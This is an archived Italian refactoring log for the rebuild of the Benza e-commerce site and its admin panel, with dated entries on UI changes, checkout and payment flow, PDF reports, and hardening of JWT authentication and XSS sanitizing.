# Refactoring Log (archivio): il rifacimento, aprile-luglio 2026

Storia del rifacimento del sito, dalla prima riga di codice fino al go-live dell'11/07/2026 e ai
giorni immediatamente successivi. Chiuso: si consulta, non si aggiorna.

La manutenzione dal go-live in poi sta in `docs/REFACTORING_LOG.md`.

---
---

## 06/07/2026 — Amministratori: riga cliccabile (rimosso bottone matita)

`admin/amministratori.php`: rimossa la prima colonna col bottone matita; l'intera riga è ora
cliccabile (cursor pointer) → apre la modal di modifica. Tabella `align-middle`. Invariata la
logica ruoli (developer/admin/dipendente) e il modal CRUD.

---

## 06/07/2026 — Bacheca: stile chat (board interno dipendenti)

La Bacheca è il board interno dei dipendenti Benza (promemoria/note operative; tabella `bacheca`,
autori in `utenti` col flag bacheca). Rifatta `admin/bacheca.php` da tabella+modal a **lista in stile
chat**: per ogni messaggio, **nome mittente in grassetto** + **data/ora**, e sotto una **bubble**
(`white-space:pre-wrap`) col messaggio intero. I tag HTML legacy dei messaggi (`<b>`, `<font color>`,
**`<s>` barrato** per le cose fatte) sono **resi** via `sanitizeBenzaHtml` (aggiunti `s/strike/del`
alla whitelist in `common.js`). **Filtro per dipendente** (tendina coi dipendenti distinti), niente ID.
Eliminazione singola conservata (link cestino per riga).

Autori senza corrispondenza in `utenti` (id 8 = 129 msg, id 2 = 2 msg; account legacy/cancellati) →
fallback onesto **"Dipendente #N"** (scelta utente).

---

## 06/07/2026 — Vacanze: schermata unica inline (un solo messaggio, come il vecchio)

Il vecchio admin Vacanze editava **un solo record** (`messaggi` id=1: `messaggio` + `attivo`),
nessun crea/elimina. Il nuovo era invece sovradimensionato (tabella multi-messaggio + modal +
create/delete). Riscritto `admin/vacanze.php` come **schermata diretta**: al click sul menu mostra
subito il messaggio in una textarea editabile + interruttore "Mostra sul sito" + Salva. Niente
tabella, niente modal (ridondante). Legge `read.php` (records[0]) e salva con `update.php`
(`{id_messaggio:1, messaggio, attivo}`). Gli endpoint create/delete restano su disco ma inutilizzati.

---

## 06/07/2026 — Trasporti: editing moltiplicatori per regione (regioni.incremento)

Il calcolo spedizioni nuovo (`calcolaTrasportoReg` in `spedizione_helper.php`, identico al vecchio
`admin/funzioni.php::calcolaTrasportoReg`) usa **`regioni.incremento`** come moltiplicatore per
regione (1,00 / 1,15 / 1,20 / 1,30 = Sud/isole) — dati **preesistenti nel DB**, NON hard-coded. Il
campo `trasporti.isola` invece **NON è usato** dal calcolo nuovo (né `aggiunta`).

- `admin/trasporti.php`: form parametri-peso invariato (etichette più chiare) ma con `isola` e
  `aggiunta` resi **hidden** (preservati, non usati). Aggiunta **tabella editabile dei 20
  moltiplicatori per regione** con salvataggio dedicato.
- `api/admin/trasporti/read.php`: ora restituisce anche `regioni` (via `Trasporto::readRegioni`).
- Nuovo `api/admin/trasporti/regioni_update.php` (`{regioni:[{id_regione,incremento}]}`) +
  `Trasporto::setIncremento`.

Verificato: form + 20 regioni coi valori reali; update regioni testato dall'utente.

---

## 06/07/2026 — Giacenze: Report PDF (mPDF, intestazione Benza) + render tag HTML nei nomi

**Report PDF Giacenze** (il tasto non fa più `window.print()`):
- Aggiunta **mPDF** (`composer require mpdf/mpdf`, v8.3.1) a `sito_26`. `vendor/` in `.gitignore`
  (pesante ~95MB, si carica via FTP / `composer install` sul server). `composer.json`/`.lock` versionati.
- Nuovo generatore `admin/giacenze_report_pdf.php` (auth di sessione): legge i teli **direttamente dal
  DB** (`Modello::readReportTeli`, no self-cURL), costruisce l'HTML con **intestazione Benza** (logo
  `assets/img/logo-benza.jpg` copiato da prev_vasche + P.IVA/sede/tel/mail, colore `#00a1e6`) e tabelle
  Rotoli/Spezzoni raggruppate EPDM/PVC/Altri con subtotali m². Layout ispirato ai PDF di `prev_vasche`.
- ⚠️ Sul NAS gli URL puliti admin tornano **status 404** (ErrorDocument) e il PDF viewer di Chrome
  rifiuta un 404 → il tasto **scarica via fetch + apre come blob** (`apriReportPdf()` in giacenze.php):
  lo status non conta più. `logo-benza.jpg` è gitignored (FTP a mano come le altre immagini).

**Tag HTML legacy nei nomi modello resi (non più codice grezzo):** il DB contiene nomi tipo
`Telo … <font color='red'>in Offerta</font><b> - Larghezza 8,02</b> mt` (con backslash addslashes `\'`).
Ora si vedono **formattati** (rosso/grassetto), non come codice, SIA nell'admin SIA nel PDF, con
**difesa XSS**:
- JS `window.sanitizeBenzaHtml(raw)` in `assets/js/common.js`: toglie i backslash + whitelist tag
  (b/strong/i/em/u/br/font[color]/span[color]/sup/sub/small) via DOMParser (script/handler rimossi).
  Usato al posto di `textContent`/`escapeHtml` per `nome_modello` in modelli, offerte, giacenze,
  ordine, carrelli. Il campo input di modifica resta il sorgente editabile.
- PHP `benzaModelHtml($raw)` in `includes/helpers.php` (de-slash + `strip_tags` whitelist) per il PDF.

⚠️ **Deploy**: caricare via FTP su Aruba `vendor/` e `assets/img/logo-benza.jpg` (entrambi gitignored),
oppure `composer install` sul server.

---

## 06/07/2026 — Offerte: aggiunta articoli DAL CATALOGO (flusso fedele al vecchio)

La ricerca a testo libero nel builder era inutilizzabile: su prodotti con decine di teli, i
`modelli` figli hanno **codice+nome identici** (differiscono solo per `lato1×lato2`), quindi
restituiva liste di "sosia" indistinguibili + `LIMIT 25`. Scelta utente: riprodurre il flusso
originale (aggiunta dalla scheda prodotto).

- **Stato "offerta attiva"** condiviso tra le schermate via `localStorage` (`bz_offerta_attiva`) +
  helper `window.BZOfferta` (get/set/clear/render/aggiungi) in `admin/header.php`, con **banner**
  in cima a ogni pagina ("Stai componendo l'Offerta #N" · Torna all'offerta · Fine).
- **`admin/offerte.php`**: rimossa la ricerca; il builder apre → l'offerta diventa attiva; pulsante
  **"Vai al catalogo"**; quantità articoli **editabile** in tabella (`impostaQuantita` → set esatto);
  ritorno dal catalogo via `?apri=N`; clear dell'attiva su eliminazione.
- **`admin/modelli.php`**: pulsante **«+ offerta»** (icona gift) su ogni riga master e su ogni riga
  del modal **Sotto-dimensioni** (la singola misura), visibile solo con offerta attiva → aggiunge
  quel modello all'offerta (qty 1, incrementale).
- **`api/admin/offerte/articolo_add.php`**: nuovo flag `incrementa` — dal catalogo somma alla q.tà
  esistente (come il vecchio `ON DUPLICATE KEY`), dal builder imposta la q.tà esatta.

Verificato in browser (UI): banner + 11 «+offerta» master + 21 sulle sotto-misure, builder senza
ricerca con "Vai al catalogo", quantità editabile, subtotale/sconto corretti, 0 errori console.

⚠️ **BLOCCANTE test end-to-end**: sul DB dev manca ancora la colonna `token_pubblico` → eseguire
`docs/sql/010_offerte_token_pubblico.sql` su `Benza_sito` (dev + prod) prima di poter creare/salvare/
condividere offerte. Aperto anche: le **spese di trasporto** nel totale offerta (nel vecchio c'erano)
non sono ancora replicate nel builder nuovo — da decidere se aggiungerle.

---

## 06/07/2026 — Ordini/Clienti sola lettura + riga cliccabile + formato € ovunque

**Ordini = sezione di sola consultazione** (nel vecchio admin NON esiste: gli ordini si
gestiscono nel gestionale/situazione clienti; `ipn.php` del vecchio scriveva in `or_stati`/
`or_ordini`). Scelta utente: tenerla in **sola lettura**.
- `admin/ordine.php`: rimossi i 4 pulsanti cambio stato (Segna Pagato/Spedito/Attesa/Annulla) e
  la funzione `cambiaStato()`; card Stato con nota "gestione nel gestionale". `update_stato.php`
  resta su disco ma non è più richiamato.
- `admin/ordini.php`: banner "sola consultazione".

**Ordini + Clienti — riga cliccabile** (l'unica azione era "vedere" il dettaglio):
- Rimossa la colonna Azioni (occhio). Intera `<tr>` cliccabile (cursor pointer) → Ordini va a
  `ordine?id=X`, Clienti apre la modal dettaglio. Tabelle `align-middle` (contenuto centrato).
- Clienti: i toggle Rivenditore/Bacheca fanno `event.stopPropagation()` → il click sul badge
  NON apre la modal.

**Simbolo € sempre DOPO l'importo, formato it-IT** (richiesta utente: mai "€ 979.98", sempre
"979,98 €"). `assets/js/common.js::formatCurrency` produce già "1.234,56 €" (nbsp+€). Sostituiti
gli inline `'€ ' + toFixed(2)` con `formatCurrency()` in `admin/ordini.php` e `admin/ordine.php`
(importo lista, subtotale/spedizione/totale, prezzo/tot articoli); placeholder statici di
`admin/offerte.php` da "€ 0,00" → "0,00 €". Le altre schermate (modelli, carrelli, offerte)
usavano già formatCurrency.

Verificato in browser: ordini "2.813,08 €", dettaglio "979,98 €", clienti riga cliccabile con
toggle funzionanti, nessun errore console.

---

## 06/07/2026 — Video admin: griglia di card (come la gallery foto) + drag&drop

`admin/video.php` passa da tabella a **griglia di card** riusando il pattern di
`admin/gallery_immagini.php`:
- Card `col-6 col-md-4 col-lg-3` con **thumbnail YouTube** (`img.youtube.com/vi/<ID>/hqdefault.jpg`,
  ID nudo estratto da `codice_embed` con `ytId()`), **overlay play**, **titolo** (clamp 2 righe) e
  **matita + cestino** in basso.
- **Drag&drop** (SortableJS) → nuovo endpoint `api/admin/video/riordina.php` (`{ordine:[id_video…]}`,
  `ordinamento` = 10,20,30…). Aggiunto `Video::setOrdine()` in `api/objects/Video.php`.
- Elimina diretto dalla card (`eliminaVideoId`) oltre a quello del modal; modal CRUD invariato.
- Card senza ID YouTube valido → placeholder icona video.

Verificato in browser: 44 card con anteprima, riordina 200 "Ordine salvato", nessun errore console.

---

## 06/07/2026 — Modelli admin: gerarchia master/teli fedele al vecchio + editing inline

**Problema** (segnalato in test): la schermata Modelli mostrava numeri incongruenti. Es. prodotto 4:
badge "4", ma aprendo la lista comparivano 223 righe; il vecchio admin ne mostra 11.

**Causa**: i modelli hanno una gerarchia a 2 livelli via `modelli.telo_master`:
- **master** = `telo_master = 0` (il modello generico, prezzato)
- **teli figli** = `telo_master = <id master>` (i tagli su misura `lato1`×`lato2`, generati dal €/m² del master).

Il vecchio `modelli.php?p=X` elenca **solo i master** (`AND telo_master = 0`, per il prod. 4 sono 11).
Il nuovo `read.php` non filtrava → restituiva TUTTI i 223 record (master + figli mischiati). E il
badge del prodotto contava i soli master *visibili* (4), disallineato dalla lista.

**Fix (fedele al vecchio):**
- `api/admin/modelli/read.php`: default **solo master** (`telo_master=0`) con `id_prodotto`,
  `ORDER BY nome_modello`. `?includi_figli=1` disattiva il filtro (non usato dalla UI). I teli figli
  restano nel modal Sotto-dimensioni (`sotto_dimensioni.php?id_master=Y`).
- `api/objects/Prodotto.php::readByCategoria()`: badge = **tutti** i master (tolto `visibile=1`) →
  badge 11 = 11 righe mostrate.
- `admin/modelli.php`: tabella master con **editing inline** come il vecchio — colonne
  Prezzo/Reg/Riv, **Dim.** (badge n° teli → modal), **Mag.**/**Web** (input `disp_mag`/`disp_web`),
  **+/- %** (variazione prezzi master + figli), 💾 salva riga + ✏️ modifica. `salvaRigaMaster()` usa
  `aggiorna_disp_batch.php` (disp) + `variazione_prezzi.php` (%, master+teli, WHERE id_modello OR telo_master).
- Nuova toolbar **"Variazione prezzi su tutto il prodotto"** = vecchio `modello_disp2-db.php` →
  nuovo endpoint `api/admin/modelli/variazione_prodotto.php` `{id_prodotto,percentuale}`
  (`UPDATE ... WHERE id_prodotto=?`, master + tutti i figli).

Verificato in browser: prod. 4 = 11 master, input inline presenti, nessun errore console.

**Modifica completa delle singole sotto-dimensioni** (come il vecchio, dove Codice/Nome del figlio
portavano a `modello.php?m=<id_figlio>`): nel modal Sotto-dimensioni ogni riga figlia ora ha **nome
cliccabile + matita** → apre il form modello completo pre-compilato (`editSottoDimensione` → chiude il
modal sotto-dim e apre quello di modifica; alla chiusura un listener su `#modelloModal` riapre il modal
sotto-dim sul master). `sotto_dimensioni.php` già restituiva `SELECT *`, nessuna modifica backend.

**Bug select2/onCambio risolto** (era latente, emergeva solo editando i figli che hanno `telo_master≠0`):
il sync globale select2 di `footer.php` ri-triggera l'`onchange` di `#modProdotto` → `onCambioProdottoModal`
azzerava "Telo master"/"Alternativa". Fix: `onCambioProdottoModal` ora ricarica i select dipendenti
**solo su cambio REALE di prodotto** (confronto con `selProdottoCaricato`), non sul sync programmatico;
`editModello`/`nuovoModello` resi `async` con `await caricaSelectModelli(...)` prima di `modal.show()`.
Verificato: editando il telo 12×25 di PVC12, "Telo master" = PVC12 (265) correttamente preselezionato.

---

## 03/07/2026 — Area utente "I miei ordini": bottoni allineati + card su mobile

`utente.php` (tabella ordini):
- I bottoni azione (Dettagli/Paga) andavano a capo: erano in una cella con width fissa 140px.
  Ora sono in un contenitore flex `.bz-ordine-azioni` (nowrap) → affiancati su una riga.
- Switch **tabella → card sotto 768px** (come il catalogo), riusando le classi
  `.bz-models-table-view` / `.bz-models-cards-view` (già gestite dal CSS responsive). Il JS
  genera entrambe le viste; card `.bz-ordine-card` con #ordine+stato, data+importo, azioni.
  Helper `creaBadgeStato()` / `creaAzioniOrdine()` condivisi tra le due viste.

---

## 03/07/2026 — Flusso pagamento come il vecchio + descrizione ordine gestionale fedele

**Descrizione ordine per il gestionale** (`create.php`) ora replica fedelmente il vecchio
(verificato su ordine e-commerce storico #1569): intestazione documento (Benza + cliente con
indirizzo di spedizione, CF, tel, email), articoli con **nome + dimensioni teli** (Lunghezza),
importo merce/spedizione/totale, **tempi di consegna** (`calcolaSpedizione` per gruppi sped) e
**CORRIERE**. Titolo ordine (`or_ordini.titolo`) = `x{q} {cod}{dim}`. `&nbsp;` tra prezzo e €
(il simbolo non va mai a capo). Email conferma: già col nome prodotto.

**Flusso pagamento** allineato al vecchio (prima l'ordine, poi la scelta pagamento):
- `checkout.php`: solo dati spedizione (rimossa la scelta metodo con default paypal), crea
  l'ordine e reindirizza a `ordine_riepilogo?o={id}`. Redirect a `carrello` se il carrello è vuoto.
- `create.php`: `pagamento` vuoto alla creazione; `ordine.contrassegno` = 1 se ammesso.
- `ordine_riepilogo.php`: schermata di **scelta metodo** (4 opzioni) → al click registra il
  metodo (nuovo `api/ordini/imposta_pagamento.php`) e mostra l'area di pagamento.
- Fix layout: `orderSummary` non più `height:100%` (spingeva i pulsanti sotto il footer).

TODO minori: `utenti/ordini/read.php` non restituisce `contrassegno` → la card contrassegno
appare anche sopra 1000€ non ammessi (bloccata comunque da imposta_pagamento); riga "Metodo"
nel riepilogo mostra il valore del DB prima dell'update (timing).

---

## 03/07/2026 — Checkout testato E2E + fix creazione ordine + email col nome prodotto

Primo test end-to-end del checkout (ordine #1593, bonifico). Emersi e risolti 2 bug preesistenti:

- **Creazione ordine falliva** ("Field 'pagato' doesn't have a default value"): la tabella
  `ordini` aveva `pagato`/`spedito` e `data_pagamento`/`data_spedizione` NOT NULL senza
  default, e `Ordine::create` non li passa → INSERT ko sotto strict mode. Fix con
  **migration `009_ordini_default_stati.sql`** (pagato/spedito DEFAULT 0, date NULL-abili).
  Nessuna modifica al codice necessaria.
- **Email conferma ordine mostrava "Art. #1865"** invece del nome prodotto: `create.php`
  costruiva `$articoli` e `$art_email` senza `nome_modello` (che il carrello già fornisce)
  e forzava `nome_modello = 'Art. #'.id`. Fix: `$articoli` ora salva `nome_modello`/`cod_modello`;
  email e descrizione gestionale usano il nome (fallback al codice). Il template era già pronto.

**Verificato nel DB**: ordine sito #1593 (importo 1256,36 €, spedizione 123,20 €, pagato=0,
data_pagamento=NULL), **sync gestionale** ok (`or_ordini` cod_ordine **12300**, cliente 9237),
`cod_ordine` collegato su entrambi, carrello svuotato, email inviata (test_mode → paoloalby).

---

## 03/07/2026 — Checkout: provincia uniformata + dati spedizione dal profilo

`checkout.php` allineato al pattern di registrazione/profilo:
- **Provincia** = select filtrabile Tom Select (mostra il nome intero, salva la sigla).
- **Regione** (`id_regione`) e **isola** ora **derivate automaticamente** dalla provincia
  (`PROVINCE_MAP` da `pubblico/province/read.php`) e **nascoste** (hidden `ckRegione`/`ckIsola`):
  rimossa la select regione manuale + `caricaRegioni()` + l'errore "Seleziona la regione".
- **Dati di spedizione precompilati** dal profilo (`profilo/read.php`): nome, via, CAP, città,
  provincia (via `tsProv.setValue` dopo `provincePronte`). Aggiunto CDN Tom Select (SRI).
- `confermOrdine`: valida la provincia; payload con `id_regione` derivato + `isola`.
Verificato dal vivo: provincia "Imperia" precompilata, `id_regione=8` (Liguria) derivato, isola=0.

---

## 03/07/2026 — Auth utente unificata al modello admin (server-side, HttpOnly)

L'auth e-commerce era client-side (cookie leggibile da JS); ora è **server-side come l'admin**.

- **login utente (`api/utenti/login.php`)**: aggiunge `secret`=SHA-512(UA) al payload e setta
  il cookie `bz_jwt_utente` **HttpOnly + Secure(https) + SameSite=Lax** lato server (non più JS).
  Riceve `ricordami` dal body.
- **`auth_utente.php` (API)**: ora verifica il `secret` UA (come le API admin).
- **`includes/auth_utente_pub.php` (NEW)**: soft-auth inline (no sessione, no HTTP interno):
  legge il cookie HttpOnly, valida firma+tipo+secret, e — oltre metà vita — fa lo **sliding**
  ri-firmando e riscrivendo il cookie. Funzioni `bzUtenteAuthInline()` e `bzRichiediUtente()`.
  NB: non include `funzioni_api.php` (my_encrypt già in helpers.php → evita il fatal
  "Cannot redeclare function my_encrypt()").
- **`header_pub.php`**: chiama il soft-auth su ogni pagina e **inietta il token** in
  `window.bzJwtUtente` + `sessionStorage` (così il JS esistente non cambia); gating pagine
  protette con `$richiede_login = true` → redirect a login.
- **`common.js`**: legge il token da `window.bzJwtUtente`/sessionStorage (il cookie è HttpOnly);
  rimossi refresh-JS e set-cookie-JS (ora server-side).
- **Pagine protette** (utente, utente_dati, utente_ordine, utente_password, checkout,
  utente_bacheca): `$richiede_login = true` → gating server-side.
- `logout.php` già scadeva il cookie server-side: ok anche con HttpOnly.

Verificato E2E (login reale paoloalby): cookie **HttpOnly** (document.cookie non lo espone),
token iniettato, secret UA verificato dalle API (carrello/ordini 200), badge, profilo, gating
anonimo→login. Il payload utente resta `{id_utente cifrato, tipo, secret}` (nessuna PII).

---

## 03/07/2026 — Repo Git privato + esternalizzazione totale dei segreti

Creato repo **privato** GitHub `paoloalby/benza-ecommerce` (branch `main`, 632 file).

- `.gitignore`: esclude `secrets.php`, `mail_config.php` (segreti) e gli asset pesanti
  `files/` (2G), `uploads/` (933M), `img/`, `pdf/` + cache/OS.
- `secrets.example.php` e `mail_config.example.php` versionati (placeholder).
- **Esternalizzato anche `gestionale_helper.php`** (aveva credenziali DB del gestionale
  hardcoded, scoperte dal leak-check): ora legge da `BZ_DB_GESTIONALE` in secrets.php.
- Verifica anti-leak prima del commit: `git grep` dei pattern sensibili (password DB/SMTP,
  vecchie chiavi) + controllo che le chiavi nuove siano solo in `secrets.php` (gitignorato).
  Esito: nessun segreto nei file tracciati.

Deploy Aruba: caricare `secrets.php` e `mail_config.php` via FTP (non sono nel repo).

---

## 03/07/2026 — Sicurezza JWT: chiavi forti esternalizzate + chiavi separate + hardening admin

Refactoring sicurezza (obiettivo: sistema "a prova di hacker", utente + admin).

**Segreti esternalizzati (fuori dal codice versionato):**
- `api/config/secrets.php` (NON versionato): 2 chiavi JWT HS256 **separate** (utente/admin,
  256-bit random), chiave AES-256 (`BZ_ENC_KEY`, 32 byte), credenziali DB (local/tophost/prod).
  Prima erano hardcoded e deboli in `core.php`/`funzioni_api.php`/`database.php`.
- `core.php`, `funzioni_api.php`, `database.php`, `includes/auth.php` leggono da secrets.php.
- `api/config/jwt_config.php`: durate token condivise (utente 60gg, admin 10gg).

**Chiavi separate per dominio (difesa in profondità):** `$key_utente` firma/valida i token
e-commerce, `$key_admin` quelli admin. Un token utente non supera nemmeno la verifica di
firma su un endpoint admin. `validate_token.php` prova entrambe. Verificato: vecchi token
(vecchia chiave) ora rifiutati con "Signature verification failed" (401, non 500).

**Hardening admin:**
- Token admin exp 1 anno → **10 giorni con sliding server-side** in `auth.php` (chiama il
  nuovo `api/admin/refresh.php` max 1/ora; ripesca stato/ruolo dal DB → una disattivazione
  ha effetto entro 1h). Cookie `adm_login_string` con scadenza 10gg + **`Secure` su https**.
- **`auth_admin.php` (API) ora verifica il `secret`=SHA-512(User-Agent)** — prima lo faceva
  solo `auth.php` (pagine), le API no: un token rubato usato da altro UA ora è rifiutato
  anche a livello API.
- Payload admin ripulito: rimossa `email` (ridondante col login); il refresh interno
  preserva il `secret` originale (la sub-request cURL NAS→NAS non ha lo UA del browser).

**Privacy payload:** nessuna PII in chiaro nel JWT (firmato ma leggibile). Payload utente
= `{id_utente cifrato, tipo}`; payload admin = `{id_utente cifrato, ruolo, secret, nominativo=username}`.

**Prossimo:** unificare l'auth utente al modello admin (server-side, cookie HttpOnly,
token iniettato in pagina, secret UA, sliding server-side) — vedi memoria [[project_sicurezza_jwt]].

---

## 03/07/2026 — Login persistente utente: sliding token 60gg + hardening JWT

Rivisto il "Resta collegato" lato e-commerce (prima: JWT 1 anno fisso, cookie rinnovato a
365gg ma token mai ri-emesso → sliding illusorio, durata reale 1 anno dal login).

**Ora — sliding expiration reale:**
- `core.php`: costante `JWT_UTENTE_DURATA = 60 giorni`.
- `api/utenti/login.php`: token exp 365 → `JWT_UTENTE_DURATA`.
- `api/utenti/refresh.php` (NEW): dato un token utente ancora valido, ne emette uno nuovo
  (+60gg). Ripesca i dati freschi da DB, blocca il rinnovo se `status != 1`. Ritorna anche
  nominativo/email/rivenditore/bacheca nella risposta JSON (per il frontend).
- `common.js`: `window.bzRinnovaTokenUtente()` chiamato da `initHeader()` a ogni pagina,
  con throttle 1/giorno (`localStorage bz_jwt_refresh_ts`); su success riscrive cookie
  (`setCookieJwt`, durata 60gg) + sessionStorage. `setCookieJwt` aggiunge `; Secure` su
  https. Chi visita almeno una volta ogni 60gg resta loggato all'infinito.
- `login.php` (front): cookie via `bzScriviCookieJwtUtente` (60gg) + init throttle ts.
- `footer_pub.php`: rimosso il vecchio blocco inline che rinnovava il cookie a 365gg (ora
  in common.js), altrimenti avrebbe vanificato lo sliding.

**Hardening JWT (privacy): niente PII in chiaro nel token.** Un JWT è firmato ma NON
cifrato → il payload è leggibile. Verificato che il backend usa dal payload solo
`id_utente` (cifrato AES-256-CBC) e `tipo`, e che il frontend NON decodifica il token
(usa sessionStorage). Quindi rimossi `nominativo` ed `email` dal payload di login e
refresh. Payload utente ora: `{ id_utente (cifrato), tipo }`.

Verificato dal vivo: refresh 200, token nuovo a 60gg, payload `[id_utente, tipo]` (era
`[id_utente, nominativo, email, tipo]`), token accettato da `carrello/read.php`, cookie
auto-rinnovato al reload.

**TODO sicurezza aperti (vedi audit in chat 03/07):** chiavi JWT/AES deboli e hardcoded
in `core.php`/`funzioni_api.php` (da rigenerare forti + esternalizzare); `auth_admin.php`
non verifica il `secret` User-Agent del token admin; replicare lo sliding sull'admin
(10gg); `Secure`/deploy. HttpOnly non applicabile col design attuale (token in header
custom letto da JS).

---

## 03/07/2026 — Fix badge carrello mancante sulle pagine pubbliche

**Bug:** il badge conteggio carrello nell'header non appariva sulla home (e su tutte le
pagine pubbliche che non includono `config.php`), pur essendo l'utente loggato. L'icona
utente invece risultava correttamente loggata.

**Causa:** `common.js → aggiornaBadgeCarrello()` legge l'URL API da
`window.API_URL || window.BZ_API_URL`. `BZ_API_URL` è stampato da `header_pub.php` (riga
`window.BZ_API_URL = '<?= $apiUrl ?>'`), ma `$apiUrl` è definito in `includes/config.php`,
che l'header **non** includeva. Le pagine dell'area utente includono `config.php` a mano
→ badge ok; la home no → `BZ_API_URL=''` → `if (!api) badge.hide()`. L'icona utente non
si basa sull'API (solo cookie) quindi funzionava comunque.

**Fix:** `header_pub.php` ora fa `require_once __DIR__ . '/includes/config.php';` subito
dopo `helpers.php`. Così `$apiUrl` è **sempre** definito per qualsiasi pagina che usa
l'header, senza dipendere dai singoli `require` di pagina. `require_once` evita la doppia
inclusione dove `config.php` era già incluso. Verificato dal vivo: badge "14" ora visibile
sulla home.

---

## 02/07/2026 — Scheda prodotto (modello.php): due layout + immagine + tabella misure

Riprogettata `modello.php` distinguendo due casi (richiesta cliente):
- **Prodotto normale** (senza sotto-misure): e-commerce classico — prezzo totale
  (rivenditore-aware), IVA, listino barrato, disponibilità, spedizione, quantità +
  "Aggiungi al carrello".
- **Telo con sotto-misure**: il "contenitore" master NON è acquistabile → tolto il box
  prezzo/disp. fuorviante del master e la "Dimensioni" del master. Ora: box "Prezzo **da
  X €/m²** · IVA compresa · N misure disponibili · Spedizione" + bottone **"Scegli la
  dimensione"** (scroll alla tabella).
- **Immagine prodotto** aggiunta (`files/{foto_prodotto}`) per entrambi.
- **Tabella misure** rifatta come il vecchio: colonne **Dimensione · Prezzo (listino
  barrato + reale rivenditore-aware, totale + €/m²) · Disp. · Quantità (selettore) ·
  Aggiungi** (usa la quantità della riga). Filtrata a misure disponibili e coerenti con
  la larghezza del master, ordine decrescente. Nuova CSS `.bz-qty-sm`.
- `getPrezzoMostrato()` (prezzo_r rivenditore / prezzo2) usato ovunque. Verificato: telo
  PVC4 (25 misure, 4×50→4×2) e prodotto normale (Fontana OASE, box classico).

---

## 02/07/2026 — Audit menu completo + URL SEO vecchi + pagina Punteruolo

### Audit: pagine orfane e menu incoerente
Tutte le pagine del vecchio esistono nel nuovo, ma **8 erano orfane** (fuori dal menu):
`vasche_accessori`, `vasche_coperture`, `vasche_riparazioni`, `vasche_istruzioni`,
`vasche_progettazione`, `liquami`, `ristrutturazioni`, `progettazioni`. `punteruolo` mancava del tutto.

### Riorganizzazione menu (scelte cliente)
- **"Vasche e Laghi"** espanso con sotto-sezioni (`dropdown-header`): SERBATOI IN ACCIAIO
  (Serbatoi, Accessori, Coperture, Riparazioni, Istruzioni, Progettazione antincendio) +
  LAGHI ARTIFICIALI (Laghi, Coperture laghi, Biopiscine, Stoccaggio liquami) + Preventivo.
- Nuova voce **"Servizi"**: Ristrutturazioni, Progettazioni edili, Lotta al punteruolo rosso.
- **Pagina `punteruolo.php` migrata** fedele (PDM System + immagine + volantino PDF + rassegna
  stampa 7 testate + convegno Bordighera + 2 video YouTube). Copiati asset `pdf/PDM_System.pdf`
  e `img/punteruolo_rosso/` (26 file). `$pagina_attiva='servizi'`.

### URL SEO vecchi → nuovi (redirect 301 in .htaccess)
Aggiunti 13 slug del vecchio online che non reindirizzavano: `progettazione-serbatoi-antincendio`,
`coperture-laghi-artificiali`, `piscine-manutenzioni`, `pergole-gazebi`, `fontane-cascate`,
`irriggazione-prati-giardinaggio`, `arredamenti-ombrelloni`, `ristrutturazioni-giardinaggio`,
`edilizia-progettazioni`, `punteruolo-rosso`, `orari`, `newsletters`, `contatti-telefono-email`.
Verificati (301 → pagina nuova).

---

## 02/07/2026 — FAQ/T&C riorganizzati + vetrine Prodotti (verifica)

### FAQ nel menù + riordino contenuti "consegne" in 3 pagine
- Aggiunta voce **FAQ** al menù header (Info → FAQ) — prima era solo nel footer.
- Il vecchio `info_consegne.php` mescolava T&C + FAQ. Riorganizzato in **3 pagine** (scelta cliente):
  - `faq.php` = solo domande tecniche (serbatoi + laghi) — già pulito.
  - `info_consegne.php` (Consegne) = tempi + spedizione (tolta la card "Sconti", ora rimanda).
  - **NUOVA `condizioni_vendita.php`** = Sconti e preventivi + Modalità di pagamento
    (Bonifico, PayPal, Carta/Unicredit, PostePay, Contrassegno +€10) + Restituzioni/garanzia.
    Contenuti migrati fedelmente dal vecchio, link rimappati. Aggiunta a menù Info + footer.

### Pagine vetrina "Prodotti" — verifica + FIX fedeltà (tutte OK)
Derivano dal vecchio online (route `piscine-manutenzioni`, `fontane-cascate`,
`irriggazione-prati-giardinaggio`, `pergole-gazebi`, `arredamenti-ombrelloni`).
- Fontane, Irrigazione: già fedeli (testo).
- **Piscine**: aggiunto promo BioDesign (logo `img/marchi/biodesign.gif` + link a `biopiscine`
  + "Stanco delle piscine tradizionali?" + assistenza in tutta Italia).
- **Gazebi**: rifatto fedele — testo Il Ceppo + norme (EN 386/EN 1176/DIN 1052-1, RAL/TUV) +
  3 loghi + link ilceppo.it + **gallery foto** (id_gallery=4, 30 immagini via
  `pubblico/gallery/immagini.php`, path `files/{immagine_thmb}`).
- **Arredamenti**: rifatto fedele — testo completo + card Showroom Via Pascoli 161 + link
  Facebook (benza.giardino) + **17 loghi marchi reali** (fast, fim, vermobil, oase, gaia,
  caneline, parametro, five, domiziani, culligan, napoleon, dolce, ferraboli, teuco, cpa,
  fiam, gardena) — le immagini `img/marchi/` esistono già nel nuovo.
- Nuove classi CSS: `.bz-marchio-logo` (griglia loghi grayscale→colore), `.bz-gallery-thumb`.

---

## 02/07/2026 — Catalogo e-commerce: parità logiche + UX + URL SEO

### Parità con le logiche del vecchio `categoria.php` (che mancavano)
- **Prezzo**: listino `prezzo` BARRATO + prezzo effettivo (`prezzo2`, oppure `prezzo_r`
  se utente loggato è **rivenditore** `bz_rivenditore==1`) + "**IVA compresa**" per i teli.
  Per i teli il prezzo è al m² (`/lato1/lato2`). Barrato mostrato solo se scontato.
- Filtro `visibile=1 AND telo_master=0` già corretto nell'API (`Modello::readByProdotto`).
- "Esaurito" per teli: `disp_web==0 E !sotto_teli_disponibili`. Colonna "Disp." solo non-teli.
- API `calcola`/prodotti restituisce già `prezzo/prezzo2/prezzo_r/iva`.

### Modifiche UX (richieste cliente)
- Rimosso il bottone "occhio" a fine riga; **intera riga cliccabile** (hover azzurro).
- **Colonna "Dimensioni" RIMOSSA**: il vecchio non la mostra (la larghezza è già nel nome,
  la lunghezza si sceglie nella scheda prodotto). Mostrava il `lato1×lato2` del master → fuorviante.
- **Responsive**: su smartphone (<576px) la tabella si nasconde e i modelli diventano
  **card** (`.bz-models-cards-view` / `.bz-model-card`), info re-impaginate (pattern preso da Gibertini).
- **Anteprime prodotto 4:3** (100×75) invece che 80×80 quadrate.

### Parità categorie verificata (nuovo vs vecchio online)
Conteggio prodotti identico su TUTTE le categorie: c1=21, c3=198, c7=80, c13=10,
c17=20, c18=6. Non-teli: layout Modello|Prezzo|Disp., prezzo unitario barrato+scontato
SENZA "/m²" né "IVA compresa" (solo i teli li hanno). Teli (c1): prezzo al m² + IVA compresa.

